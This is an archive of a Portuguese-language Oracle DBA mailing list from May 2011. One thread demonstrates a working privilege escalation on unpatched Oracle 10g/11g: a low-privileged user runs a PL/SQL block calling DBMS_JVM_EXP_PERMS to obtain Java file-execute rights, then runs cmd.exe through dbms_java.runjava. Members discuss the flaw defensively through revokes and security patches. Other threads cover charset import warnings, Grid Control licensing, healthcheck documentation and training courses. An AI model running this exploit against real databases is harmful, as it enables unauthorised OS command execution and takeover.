Só lembrando se você fizer o revoke, antes de qualquer upgrade ou instalação de option, tem que voltar os privilégios. 2011/5/3 Neto Longhi neto.lon...@gmail.com: OK Alessandro, vou estudar as minhas opçoes. Obrigado Em 3 de maio de 2011 12:23, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessan...@applysolutions.com.br escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified by senha; Usußrio criado. SQL grant create session to alex; ConcessÒo bem-sucedida. === Aqui podemos ver que o usuário apenas tem o priv de create session SQL connect alex/senha Conectado. SQL select * from session_roles; nÒo hß linhas selecionadas SQL select * from session_privs; PRIVILEGE CREATE SESSION = Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$ SQL conn / as sysdba Conectado. SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$ 3 WHERE grantee = 'ALEX' 4 / nÒo hß linhas selecionadas Conecta novamente como o usuário e importa os privilégios. O furo aqui é o privilegio de execute to public em dbms_jvm_exp_perms = SQL conn alex/senha Conectado. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
Res: [oracle_br] Import (possible charset conversion)
Rafael: Isto é aviso, e não um erro (Warning). possible charset conversion apenas diz que a conversão é possível. Você chegou a verificar por algum erro nas tabelas? Atenciosamente, Márcio de Figueiredo Moura e Castro Oracle 10g DBA OCA Oracle PL/SQL Developer OCA De: Raphael Franco pha...@yahoo.com.br Para: oracle_br@yahoogrupos.com.br Enviadas: Segunda-feira, 2 de Maio de 2011 12:03:22 Assunto: [oracle_br] Import (possible charset conversion) Bom dia, Estou criando uma base de teste de um dump de terceiro no Oracle XE/Linux. Não tenho o log do export gerado pelo terceiro. Só tenho essa documentação exigida do terceiro: Ambiente Windows · NLS_CHARACTERSET = WE8MSWIN1252 Ambiente Linux · NLS_CHARACTERSET = WE8ISO8859P1 Ambos Sistemas Operacionais · Conjunto de Caracter Nacional: (AL16UTF16) · Idioma Default: (Inglês Americano) Quando realizo o import ele da (possible charset conversion). Connected to: Oracle Database 10g Express Edition Release 10.2.0.1.0 - Production Export file created by EXPORT:V09.02.00 via conventional path Warning: the objects were exported by SYSTEM, not by you import done in WE8ISO8859P1 character set and AL16UTF16 NCHAR character set import server uses WE8MSWIN1252 character set (possible charset conversion) Detalhes do Oracle XE : Varivel de ambiente: NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P1 LANG=en_US.UTF-8 No banco XE: SQL select * from v$nls_parameters; PARAMETER VALUE NLS_LANGUAGE AMERICAN NLS_TERRITORY AMERICA NLS_CURRENCY $ NLS_ISO_CURRENCY AMERICA NLS_NUMERIC_CHARACTERS ., NLS_CALENDAR GREGORIAN NLS_DATE_FORMAT DD-MON-RR NLS_DATE_LANGUAGE AMERICAN NLS_CHARACTERSET WE8MSWIN1252 NLS_SORT BINARY NLS_TIME_FORMAT HH.MI.SSXFF AM NLS_TIMESTAMP_FORMAT DD-MON-RR HH.MI.SSXFF AM NLS_TIME_TZ_FORMAT HH.MI.SSXFF AM TZR NLS_TIMESTAMP_TZ_FORMAT DD-MON-RR HH.MI.SSXFF AM TZR NLS_DUAL_CURRENCY $ NLS_NCHAR_CHARACTERSET AL16UTF16 NLS_COMP BINARY NLS_LENGTH_SEMANTICS BYTE NLS_NCHAR_CONV_EXCP FALSE Alguem pode me ajudar ja tentei de varias formar fazer esse import e só da esse problema conversao de caracteres! att. phael [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas]
[oracle_br] Re: Falha de segurança do 11g
Neto, vamos pingar uns Is aí : primeiro, permissões de Java são um assunto já batido, reconhecido, a Oracle tem no metalink a nota Impact of Java Security Vulnerabilities on Oracle Products (Doc ID 360870.1) justamente pra documentar isso ... No caso específico do Aurora (o jvm interno do banco, que é o que estava sendo discutido na thread) a recomendação é Óbvia, aplicar os patches de segurança (sejam CPUs sejam PSUs) - para essa questão do grant público iirc ela já foi tratada no CPU de April/2010... O ponto aqui é bem direto, SE vc quer começar a falar em segurança, aplicar os CPUs ou PSUs é condição sine qua non... okdoc ? Exemplo num db 10.2.0.4 (ultra-atrasado, pois o Cliente ainda não liberou uma janela - com PSU aplicado em Novembro) - depois disso já tivemos dois PSUs iirc (Jan/2011 e Apr/2011), além de Oracle Java Critical Patch Update em February 2011 (que iirc é para Java externo ao banco, mas houve também) ... = conectado como usuário com baixas permissões : SQL DECLARE 2POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from 4 dual; 5 BEGIN 6 OPEN C1; 7 FETCH C1 BULK COLLECT INTO POL; 8 CLOSE C1; 9 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 10 END; 11 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared ORA-06550: line 2, column 7: PL/SQL: Item ignored ORA-06550: line 7, column 28: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 7, column 1: PL/SQL: SQL Statement ignored ORA-06550: line 9, column 37: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 9, column 1: PL/SQL: Statement ignored == nível de patch : SQL select * from DBA_REGISTRY_HISTORY;SQL ACTION_TIME --- ACTION NAMESPACE VERSION -- -- -- ID BUNDLE_SERIES -- -- COMMENTS 17-NOV-07 03.01.15.00 PM CPU 6395038 CPUOct2007 14-NOV-10 12.58.51.925027 AM APPLY SERVER 10.2.0.4 2 OPSU PSU 10.2.0.4.6 14-NOV-10 12.12.18.283111 AM UPGRADESERVER 10.2.0.4.0 Upgraded from 9.2.0.8.0 14-NOV-10 01.05.59.063060 AM CPU 6452863 view recompilation Ululantemente óbvio : tranquilamente PODE SER que hajam casos em que o patch por si só não resolva, Mas patches de segurança, são ´, è Claro, a primeira Ação pra solucionar leaks de Segurança... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Neto Longhi neto.longhi@... escreveu OK Alessandro, vou estudar as minhas opçoes. Obrigado Em 3 de maio de 2011 12:23, Alessandro Guimarães alessandro@... escreveu: Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer caminho acima tem que avaliar todos os riscos/efeitos colaterais. Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Neto Longhi Enviada em: terça-feira, 3 de maio de 2011 11:54 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Nossa que furo. Vlw pela explicação Alessandro. Pra ajeitar essa falha é só executar: revoke execute on DBMS_JVM_EXP_PERMS from public; revoke execute on DBMS_JAVA from public; revoke execute on DBMS_JAVA_TEST from public; ? Em 3 de maio de 2011 11:19, Alessandro Guimarães alessandro@... escreveu: Neto e Ivan, Aqui vai um exemplo ate o usuário conseguir importar permissões Java F:\pathsqlplus / as sysdba SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011 Copyright (c) 1982, 2007, Oracle. All rights reserved. Conectado a: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL select * from v$version; BANNER -- Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production PL/SQL Release 11.1.0.6.0 - Production CORE 11.1.0.6.0 Production TNS for 32-bit Windows: Version 11.1.0.6.0 - Production NLSRTL Version 11.1.0.6.0 - Production SQL create user alex identified
Re: [oracle_br] Re: Falha de segurança do 11g
Vlw Chiappa, irei aplicar o patch para 11.2.0.1.0. Obrigado Em 3 de maio de 2011 14:55, José Laurindo jlchia...@yahoo.com.brescreveu: Como complemento da demonstração : num outro database 10.2.0.4 mas SEM CPUs ou PSUs recentes, veja que sim, o perigo existe : SQL select * from DBA_REGISTRY_HISTORY; ACTION_TIME -- ACTION NAMESPACE -- -- VERSION ID BUNDLE_SERIES -- -- -- COMMENTS -- 04-FEB-09 04.17.39.945616 PM APPLY SERVER 10.2.0.4 3 CPU CPUJan2009 ACTION_TIME -- ACTION NAMESPACE -- -- VERSION ID BUNDLE_SERIES -- -- -- COMMENTS -- 04-FEB-09 04.23.58.430446 PM CPU 6452863 view recompilation == conectado como usuário com baixos privs : SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from 4 dual; 5 BEGIN 6 OPEN C1; 7 FETCH C1 BULK COLLECT INTO POL; 8 CLOSE C1; 9 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 10 END; 11 / PL/SQL procedure successfully completed. []s Chiappa --- Em oracle_br@yahoogrupos.com.br, José Laurindo jlchiappa@... escreveu Neto, vamos pingar uns Is aí : primeiro, permissões de Java são um assunto já batido, reconhecido, a Oracle tem no metalink a nota Impact of Java Security Vulnerabilities on Oracle Products (Doc ID 360870.1) justamente pra documentar isso ... No caso específico do Aurora (o jvm interno do banco, que é o que estava sendo discutido na thread) a recomendação é Óbvia, aplicar os patches de segurança (sejam CPUs sejam PSUs) - para essa questão do grant público iirc ela já foi tratada no CPU de April/2010... O ponto aqui é bem direto, SE vc quer começar a falar em segurança, aplicar os CPUs ou PSUs é condição sine qua non... okdoc ? Exemplo num db 10.2.0.4 (ultra-atrasado, pois o Cliente ainda não liberou uma janela - com PSU aplicado em Novembro) - depois disso já tivemos dois PSUs iirc (Jan/2011 e Apr/2011), além de Oracle Java Critical Patch Update em February 2011 (que iirc é para Java externo ao banco, mas houve também) ... = conectado como usuário com baixas permissões : SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from 4 dual; 5 BEGIN 6 OPEN C1; 7 FETCH C1 BULK COLLECT INTO POL; 8 CLOSE C1; 9 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 10 END; 11 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared ORA-06550: line 2, column 7: PL/SQL: Item ignored ORA-06550: line 7, column 28: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 7, column 1: PL/SQL: SQL Statement ignored ORA-06550: line 9, column 37: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 9, column 1: PL/SQL: Statement ignored == nível de patch : SQL select * from DBA_REGISTRY_HISTORY;SQL ACTION_TIME -- ACTION NAMESPACE VERSION -- -- -- ID BUNDLE_SERIES -- -- COMMENTS -- 17-NOV-07 03.01.15.00 PM CPU 6395038 CPUOct2007 14-NOV-10 12.58.51.925027 AM APPLY SERVER 10.2.0.4 2 OPSU PSU 10.2.0.4.6 14-NOV-10 12.12.18.283111 AM UPGRADE SERVER 10.2.0.4.0 Upgraded from 9.2.0.8.0 14-NOV-10 01.05.59.063060 AM CPU 6452863 view recompilation Ululantemente óbvio : tranquilamente PODE SER que hajam casos em que o patch por si só não resolva, Mas patches de segurança, são ´, è Claro, a primeira Ação pra solucionar leaks de Segurança... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Neto Longhi neto.longhi@ escreveu OK Alessandro, vou estudar as minhas opçoes. Obrigado Em 3 de maio de 2011 12:23, Alessandro Guimarães alessandro@ escreveu: Neto, Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os revoke. Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia remove-la tbm Se for necessário Java você pode criar uma role para as packages e conceder privilegio de execute para esta role. De qualquer forma qualquer
Re: [oracle_br] Re: Falha de segurança do 11g
Complementando a informação do Chiappa, caso sua escolha seja realmente pelo upgrade, opte preferencialmente pelo patchset mais atual disponível no momento para a versão (ex: 11.2.0.2) e ainda assim aplique o último CPU/PSU disponível, no caso o de abril de 2011. 2011/5/3 José Laurindo jlchia...@yahoo.com.br: Neto, só duas obs : a) se hoje vc está no 11.1.0.6.0, ir pra 11.2.x.y *** NÂO ** é aplicação de patch, MAS sim um UPGRADE, vc VAI mudar de release com isso - na identificação de rdbms Oracle, o segundo dígito indica o release : necessariamente quando vc mude de RELEASE, vc VAI TER features novas (que obviamente PODEM exigir mais do hardware), vc VAI ter mudanças de comportamento, então ANTES de fazer isso vc absolutamente TEM QUE checar com o fornecedor/desenvolvedores da Aplicação se é viável, se a Aplicação suporta o novo release, SE o hardware o suporta, SE o client Oracle nas máquinas o suporta, enfim SE vc não tem essa informação, Ou ela é negativa, então ao invés de migrar pra 11.2.x.y vc vai APLICAR O PATCH, passando de 11.1.0.6 pra 11.1.nn.zz - ou seja, ficará no MESMO release mas com uma versão acima, com os binários corrigidos (NÂO upgradeados, corrigidos, SEM novas features) b) veja que estava falando do CPU/PSU, ie, os patches de SEGURANÇA : muitas vezes vc até pode aplicar os patches de segurança SEM necessariamente aplicar os patches de aumento de versão, okdoc ? Óbvio que o ideal é vc ter AMBOS (ie, a maior versão possível E em cima disso o CPU/PSU mais atual), mas não é necessariamente exigido em todos os casos, veja nO README do CPU/PSU sobre as exig~encias mínimas de versão, se vc optar por só aplicar o CPU/PSU num primeiro momento... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Neto Longhi neto.longhi@... escreveu Vlw Chiappa, irei aplicar o patch para 11.2.0.1.0. Obrigado Em 3 de maio de 2011 14:55, José Laurindo jlchiappa@...escreveu: Como complemento da demonstração : num outro database 10.2.0.4 mas SEM CPUs ou PSUs recentes, veja que sim, o perigo existe : SQL select * from DBA_REGISTRY_HISTORY; ACTION_TIME -- ACTION NAMESPACE -- -- VERSION ID BUNDLE_SERIES -- -- -- COMMENTS -- 04-FEB-09 04.17.39.945616 PM APPLY SERVER 10.2.0.4 3 CPU CPUJan2009 ACTION_TIME -- ACTION NAMESPACE -- -- VERSION ID BUNDLE_SERIES -- -- -- COMMENTS -- 04-FEB-09 04.23.58.430446 PM CPU 6452863 view recompilation == conectado como usuário com baixos privs : SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from 4 dual; 5 BEGIN 6 OPEN C1; 7 FETCH C1 BULK COLLECT INTO POL; 8 CLOSE C1; 9 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 10 END; 11 / PL/SQL procedure successfully completed. []s Chiappa --- Em oracle_br@yahoogrupos.com.br, José Laurindo jlchiappa@ escreveu Neto, vamos pingar uns Is aí : primeiro, permissões de Java são um assunto já batido, reconhecido, a Oracle tem no metalink a nota Impact of Java Security Vulnerabilities on Oracle Products (Doc ID 360870.1) justamente pra documentar isso ... No caso específico do Aurora (o jvm interno do banco, que é o que estava sendo discutido na thread) a recomendação é Óbvia, aplicar os patches de segurança (sejam CPUs sejam PSUs) - para essa questão do grant público iirc ela já foi tratada no CPU de April/2010... O ponto aqui é bem direto, SE vc quer começar a falar em segurança, aplicar os CPUs ou PSUs é condição sine qua non... okdoc ? Exemplo num db 10.2.0.4 (ultra-atrasado, pois o Cliente ainda não liberou uma janela - com PSU aplicado em Novembro) - depois disso já tivemos dois PSUs iirc (Jan/2011 e Apr/2011), além de Oracle Java Critical Patch Update em February 2011 (que iirc é para Java externo ao banco, mas houve também) ... = conectado como usuário com baixas permissões : SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from 4 dual; 5 BEGIN 6 OPEN C1; 7 FETCH C1 BULK COLLECT INTO POL; 8 CLOSE C1; 9 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 10 END; 11 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be
[oracle_br] Re: Grid Control...
Colega, mais uma vez vamos antes de responder precisaremos clarificar o uso correto aí da terminologia Oracle : se não, é Confusão na certa, é uma chuva de respostas corretas mas em circunstãncias diferentes... Seguinte, no rdbms Oracle BANCO DE DADOS é o conjunto de arquivos (principalmente datafiles, mas não só) . Dentro de um BANCO DE DADOS vc pode ter N usuários, e cada usuário possui uma área interna lógica (SCHEMA) aonde ficam os objetos (tabelas,índices,etc) que ele possui. CADA banco de dados , para poder ser aberto, e usado, TEM QUE SER acessado por ao menos um conjunto de binários (a INSTÂNCIA), que ao ser carregados pra memória criam os caches e áreas necessários (SGA, PGA, etc) . Vc PODE TER um banco de dados acessado mais de uma instância (isso é o RAC), mas essa sua frase Vou separar alguns bancos da minha instância... parece indicar que vc tem uma instãncia lendo/acessando N bancos, isso NÂO FAZ SENTIDO Será que na verdade não são SCHEMAS que vc tem aí De acordo com a definição técnica correta, se vc realmente tivesse vários BANCOS DE DADOS vc teria que ter ao menos uma Instãncia pra cada banco... Eu cito isso porque é EXTREMAMENTE comum neguinho acostumado com outros RDBMSs confundir e/ou usar banco no lugar de SCHEMA, mas please não faça isso, como eu disse é CONFUSO no mínimo, vamos usar os termos corretos... Sendo realmente SCHEMAS de um mesmo banco, imho vc ** só precisaria/deveria ** separá-los em vários bancos de dados (no mesmo servidor ou em vários servidores, cfrme necessário/adequado) SE, e APENAS SE : a) há exigências de features/versões conflitantes, tipo : aplicação X que usa o schema 1 precisa de parâmetros (a nível de database) setados de uma maneira, a aplicação Y que usa o schema 2 precisa de outros valores totalmente diferentes e incompatíveis - não dá pra o mesmo parâmetro de banco (não de sessão, mas de banco) ter múltiplos valores... e/ou b) há a necessidade de manutenções que paralizam o database e/ou implementam itens conflitantes : digamos , a aplicação X ** exige ** que o patch abc esteja aplicado, enquanto a aplicação Y ** não ** o suporta , OU (por causa de banco em não-archive, digamos) o banco tem que ser parado pra backup e não há janela única pras duas apps e/ou c) as duas aplicações exijam um recurso único do database ao mesmo tempo, sem chance de compatibilizar : digamos, uma app precisa de uma trigger de logon a nível de database com uma lógica x e outra precisa de uma trigger de logon com lógica y diferente, E não há como vc escrever uma trigger z mergeando ambas e/ou d) seja tecnicamente IMPOSSÍVEL vc dividir os recursos do database , seja implementando o Resource manager, seja tendo PROFILEs que limitam os usuários da aplicação x , para que eles não monopolizem o banco, deixando recursos pra aplicação y okdoc ? Quanto ao GRID CONTROL, seguinte : 1. sim, SE vc realmente for ter vários databases e várias instâncias (seja no mesmo server, seja em servers separados), realmente o mais prático é vc ter o GRID CONTROL instalado , com ele vc controla as N instâncias dos X databases num lugar só. ABSOLUTAMENTE não é totalmente obrigatório isso, NADA impede vc de usar o DBCONSOLE (a versão do oem que já vem com o rdbms) nesse cenário, o inconveniente é que vc teria que ter uma instalação do dbconsole para cada database 2. o OEM GRID CONTROL não é grátis, MAS vc já 'ganha' uma licença básica de uso dele junto com o teu rdbms, mas afaik isso só SE ele for ENTERPRISE EDITION : essa licença 'básica' já incluída com o database EE , porém, só cobre as features mais simplórias - caso vc queira ter Monitoramento built-in, Assistentes de Performance , e outras coisinhas, vc TERÀ QUE comprar licença para os add-ons que fazem isso, que são os Packs do GRID CONTROL []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Márcio Ricardo Alves da Silva marcio_cbj@... escreveu Pessoal, bom dia! Vou separar alguns bancos da minha instância, os bancos tem particulariedades diferentes e as vezes impacta algo em um banco que não posso mexer por causa de outro. Hoje acompanhamento o desempenho do banco pelas views do oracle e pelo SO, as vezes utiizo o EM para verificar algo rápido e também pra mostrar para a chefia como o banco está, com os gráficos fica mais fácil a visualização para eles. Como estarei separando os bancos, pensei em utilizar o Grid Control que me possibilidade colocar várias instâncias. Se não me engano o GRid Control é pago, essa informação é correta? Li algumas coisas que diz que é pago, outras que diz que pode ser usado, mas não com restrições. Obrigado, Márcio. [As partes desta mensagem que não continham texto foram removidas]
[oracle_br] HelthCheck Diagnostic
All, Boa Tarde! Alguém teria alguma documentação sobre a ferramenta HelthCheck Diagnostic da Oracle? Obrigado Alexandre Diello [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Cursos ORACLE
Oi amigo; Infnet no RJ Abraços Mosán D'dos Santos Security Expert Database OCP DBA 10g OCA PL/SQL CCNA Security LPI-303 Security Speciality __ skype: mosansantos --- Em seg, 2/5/11, Eduardo Souza pjabran...@gmail.com escreveu: De: Eduardo Souza pjabran...@gmail.com Assunto: [oracle_br] Cursos ORACLE Para: oracle_br@yahoogrupos.com.br Data: Segunda-feira, 2 de Maio de 2011, 13:06 Caros amigos, quem poderia indicar alguns bons lugares aqui no RJ para fazer curso de ferramentas ORACLE em especial PL/SQL, a partir do básico. Abraço a todos. [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas]
[oracle_br] Re: HelthCheck Diagnostic
Colega, a Oracle Corp. tem dúzias de produtos, e portanto tem dúzias de ferramentas de healthcheck - vc quer healthcheck Oracle DE QUE, exatamente : database ?? peoplesoft ? ebs ? exadata ? oracle clusterware/RAC ? Mas de qquer forma a nota metalink My Oracle Support Health Check Catalog (Doc ID 868955.1) tem links pra maioria delas, começa por aí que deve ser um bom ponto de início, imagino, E depois se vc quiser mais dicas, diga EXATAMENTE qual é o produto Oracle que vc está interessado em fazer healthcheck, que tipo de healthcheck vc quer fazer (pra performance/integridade/whatever), E diga o mais possível de detalhes do teu ambiente (com versões de tudo), que a gente pode palpitar mais... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Alexandre Diello ale.diello@... escreveu All, Boa Tarde! Alguém teria alguma documentação sobre a ferramenta HelthCheck Diagnostic da Oracle? Obrigado Alexandre Diello [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Re: HelthCheck Diagnostic
Chiappa, Muito Obrigado pela ajuda, o note da Oracle que vc enviou está bem completo. Desculpe não especificar mais informações sobre o ambiente, aparentemente são problemas de performance, más segue abaixo as informações do ambiente: Oracle EBS R11i version 11.5.10.2 Oracle Database 10G Abs... Alexandre Diello Em 3 de maio de 2011 20:08, José Laurindo jlchia...@yahoo.com.brescreveu: Colega, a Oracle Corp. tem dúzias de produtos, e portanto tem dúzias de ferramentas de healthcheck - vc quer healthcheck Oracle DE QUE, exatamente : database ?? peoplesoft ? ebs ? exadata ? oracle clusterware/RAC ? Mas de qquer forma a nota metalink My Oracle Support Health Check Catalog (Doc ID 868955.1) tem links pra maioria delas, começa por aí que deve ser um bom ponto de início, imagino, E depois se vc quiser mais dicas, diga EXATAMENTE qual é o produto Oracle que vc está interessado em fazer healthcheck, que tipo de healthcheck vc quer fazer (pra performance/integridade/whatever), E diga o mais possível de detalhes do teu ambiente (com versões de tudo), que a gente pode palpitar mais... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Alexandre Diello ale.diello@... escreveu All, Boa Tarde! Alguém teria alguma documentação sobre a ferramenta HelthCheck Diagnostic da Oracle? Obrigado Alexandre Diello [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/oracle_br/ * Para sair deste grupo, envie um e-mail para: oracle_br-unsubscr...@yahoogrupos.com.br * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [oracle_br] Cursos ORACLE
Oi Amigo; Tem a multirede tb. www.multirede.com.br Mosán D'dos Santos Security Expert Database OCP DBA 10g OCA PL/SQL CCNA Security LPI-303 Security Speciality __ skype: mosansantos --- Em seg, 2/5/11, Mosan Santos mosansan...@yahoo.com.br escreveu: De: Mosan Santos mosansan...@yahoo.com.br Assunto: Re: [oracle_br] Cursos ORACLE Para: oracle_br@yahoogrupos.com.br Data: Segunda-feira, 2 de Maio de 2011, 14:07 Oi amigo; Infnet no RJ Abraços Mosán D'dos Santos Security Expert Database OCP DBA 10g OCA PL/SQL CCNA Security LPI-303 Security Speciality __ skype: mosansantos --- Em seg, 2/5/11, Eduardo Souza pjabran...@gmail.com escreveu: De: Eduardo Souza pjabran...@gmail.com Assunto: [oracle_br] Cursos ORACLE Para: oracle_br@yahoogrupos.com.br Data: Segunda-feira, 2 de Maio de 2011, 13:06 Caros amigos, quem poderia indicar alguns bons lugares aqui no RJ para fazer curso de ferramentas ORACLE em especial PL/SQL, a partir do básico. Abraço a todos. [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas]